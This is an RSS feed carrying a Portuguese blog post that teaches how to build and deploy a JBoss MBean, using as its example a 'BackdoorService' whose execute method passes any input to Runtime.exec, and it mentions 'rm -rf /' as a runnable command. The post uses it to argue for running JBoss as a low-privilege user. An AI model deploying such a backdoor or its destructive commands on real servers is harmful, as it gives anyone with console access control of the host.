<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rafael Liu Blog &#187; mbean</title>
	<atom:link href="http://rafaelliu.net/tag/mbean/feed/" rel="self" type="application/rss+xml" />
	<link>http://rafaelliu.net</link>
	<description>Café, pinguins e outras coisas</description>
	<lastBuildDate>Mon, 05 Dec 2011 19:08:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.3</generator>
		<item>
		<title>Criando um MBean no JBoss</title>
		<link>http://rafaelliu.net/2009/08/20/criando-um-mbean-no-jboss/</link>
		<comments>http://rafaelliu.net/2009/08/20/criando-um-mbean-no-jboss/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 18:55:36 +0000</pubDate>
		<dc:creator>rafaelliu</dc:creator>
				<category><![CDATA[JBoss]]></category>
		<category><![CDATA[arquitetura]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[jmx]]></category>
		<category><![CDATA[mbean]]></category>
		<category><![CDATA[microkernel]]></category>

		<guid isPermaLink="false">http://rafaelliu.net/?p=186</guid>
		<description><![CDATA[﻿A base do JBoss é o JBoss Microkernel que usa a especificação JMX (Java Management Extensions, JSR 003) através da qual módulos podem ser plugados através de MBeans. É assim que serviços de EJB, JMS, JTA, etc são providos no JBoss. MBeans são simplesmente especificações de interface. Desse modo podemos criar serviços, criar uma MBean [...]]]></description>
			<content:encoded><![CDATA[<p>﻿A base do JBoss é o JBoss Microkernel que usa a especificação JMX (Java Management Extensions, JSR 003) através da qual módulos podem ser plugados através de MBeans. É assim que serviços de EJB, JMS, JTA, etc são providos no JBoss.</p>
<p>MBeans são simplesmente especificações de interface. Desse modo podemos criar serviços, criar uma MBean que lhe servirá de <em>facade</em>, e fazer o deploy desse MBean no JBoss para expôr esse serviço. Para tanto basta o criar um arquivos <code>SAR</code> ou <code>*-service.xml</code> e fazer seu deploy.</p>
<p>Nesse post vamos criar MBean de exemplo. O exemplo é constituído de 3 coisas:</p>
<ol>
<li>Um arquivo <code>META-INF/jboss-service.xml</code> com a descrição do MBean</li>
<li>Uma interface <code>BackdoorServiceMBean</code></li>
<li>Uma classe <code>BackdoorService</code></li>
</ol>
<p>Tudo isso compilado em um <a href="http://rafaelliu.net/wp-content/uploads/2009/08/backdoorService.sar">backdoorService.sar</a> na seguinte estrutura:</p>
<p style="text-align: center;"><img class="size-medium wp-image-194 aligncenter" title="sar" src="http://rafaelliu.net/wp-content/uploads/2009/08/sar-300x165.png" alt="sar" width="300" height="165" /></p>
<p>A interface deve estende <code>ServiceMBean</code> (classe do JBoss) e seu nome deve terminar em MBean. Ela irá expor as propriedades e operações:</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">interface</span> BackdoorServiceMBean <span style="color: #000000; font-weight: bold;">extends</span> org.<span style="color: #006633;">jboss</span>.<span style="color: #006633;">system</span>.<span style="color: #006633;">ServiceMBean</span> <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> execute<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> command<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> printAbout<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getURL<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setURL<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> url<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>No exemplo são declaradas duas operações, <code>execute(String)</code> e <code>printAbout()</code>, e uma propriedade, <code>URL</code>.</p>
<p>Já a classe deve estende <code>ServiceMBeanSupport</code> (classe do JBoss) e implementar nossa interface <code>BackdoorServiceMBean</code>. Seu nome deve ser o mesmo da interface sem a terminação &#8220;MBean&#8221;.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> BackdoorService <span style="color: #000000; font-weight: bold;">extends</span> org.<span style="color: #006633;">jboss</span>.<span style="color: #006633;">system</span>.<span style="color: #006633;">ServiceMBeanSupport</span> <span style="color: #000000; font-weight: bold;">implements</span> BackdoorServiceMBean <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> url<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> execute<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> comando<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #003399;">ByteArrayOutputStream</span> out <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayOutputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> buf <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">int</span> len<span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #003399;">Process</span> proc <span style="color: #339933;">=</span> <span style="color: #003399;">Runtime</span>.<span style="color: #006633;">getRuntime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">exec</span><span style="color: #009900;">&#40;</span>comando<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>len <span style="color: #339933;">=</span> proc.<span style="color: #006633;">getInputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">read</span><span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				out.<span style="color: #006633;">write</span><span style="color: #009900;">&#40;</span>buf, <span style="color: #cc66cc;">0</span>, len<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">IOException</span> e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			e.<span style="color: #006633;">printStackTrace</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">return</span> out.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> printAbout<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">return</span> <span style="color: #0000ff;">&quot;Visit &quot;</span> <span style="color: #339933;">+</span> url <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;!&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getURL<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">return</span> url<span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setURL<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> url<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">url</span> <span style="color: #339933;">=</span> url<span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Por último o arquivo <code>META-INF/jboss-service.xml</code> onde deve constar o nome qualificado da classe MBean e o nome que identificará o MBean (por convenção é da forma <code>&lt;domínio&gt;:&lt;lista de atributos&gt;</code>). Pode-se também definir dependências com outros MBeans ou inicializar propriedades:</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;server<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;mbean</span> <span style="color: #000066;">code</span>=<span style="color: #ff0000;">&quot;net.rafaelliu.BackdoorService&quot;</span></span>
<span style="color: #009900;">           <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;rafaelliu:service=BackdoorService&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;attribute</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;URL&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>http://rafaelliu.net<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/attribute<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/mbean<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/server<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

<p>Testando nosso MBean, entramos em http://localhost:8080/jmx-console. Lá em baixo temos uma nova entrada:</p>
<p style="text-align: center;"><img class="size-medium wp-image-189 aligncenter" title="jmx-console" src="http://rafaelliu.net/wp-content/uploads/2009/08/jmx-console-300x189.png" alt="jmx-console" width="300" height="189" /></p>
<p>Clicando no MBean, vemos a operação que definimos na interface. Vamos chamá-la com o argumento <code>ls /</code>:</p>
<p style="text-align: center;"><img class="size-medium wp-image-190 aligncenter" title="jmx-invoke" src="http://rafaelliu.net/wp-content/uploads/2009/08/jmx-invoke-300x189.png" alt="jmx-invoke" width="300" height="189" /></p>
<p>Com isso temos o retorno:</p>
<p style="text-align: center;"><img class="size-medium wp-image-191 aligncenter" title="jmx-resultado" src="http://rafaelliu.net/wp-content/uploads/2009/08/jmx-resultado-300x220.png" alt="jmx-resultado" width="300" height="220" /></p>
<p>Fácil, ahm?</p>
<h2>Moral da história</h2>
<p>Para quem nem o código Java nem o nome do serviço foi esclarecedor o suficiente, esse exemplo deve ter ajudado. É um MBean que executa qualquer comando que lhe seja passado como argumento.</p>
<p>Mas pera ai, posso executar qualquer comando mesmo? Até um <code>rm -rf /</code>? Sim. O detalhe é que o comando será executado com o mesmo usuário do JBoss (política de subprocessos do Linux), ou seja, a menos que o JBoss esteja sendo rodado como root, <code>rm -rf /</code> deverá resultar em erro de falta de privilégios.</p>
<p>Agora deve estar bem claro que é uma boa prática definir um usuário jboss com privilégios limitados para executar o processo do JBoss. É claro que um MBean desses não deve nunca ser posto em produção, mas bugs que permitam a execução arbitrária de código são uma realidade.</p>
<p>NOTAS:</p>
<ul>
<li>a versão utilizada foi a JBoss 4.2.3.GA</li>
<li>nas versões mais recentes substituído pelo JBoss Microcontainer que além de JMX faz deploy de POJO e OSGi</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://rafaelliu.net/2009/08/20/criando-um-mbean-no-jboss/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

